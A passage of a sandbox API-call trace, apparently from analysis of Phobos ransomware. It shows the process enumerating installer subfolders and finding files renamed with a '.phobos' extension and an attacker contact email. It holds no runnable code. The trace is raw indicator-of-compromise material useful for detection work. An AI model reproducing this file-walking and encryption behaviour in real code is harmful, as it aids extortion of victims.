lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.348] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.348] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.349] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.349] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0124.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.355] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf3dde3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf17afd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf17afd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.356] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.356] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.356] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.356] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0124.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.357] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.357] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf3dde3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf3dde3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.357] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee368188, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.357] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.357] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.357] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.358] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.358] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0124.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.360] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.360] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee0df62c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.360] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0df62c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee0df62c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee38e3c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.360] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.360] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.360] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.361] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.361] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0124.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.363] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.363] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee368188, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee368188, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.363] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38e3c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee38e3c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.363] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.363] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.363] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.364] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0124.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.365] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.365] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.366] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.366] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0124.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a60 [0124.367] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee794272, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee77a611, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3c3f138 | out: 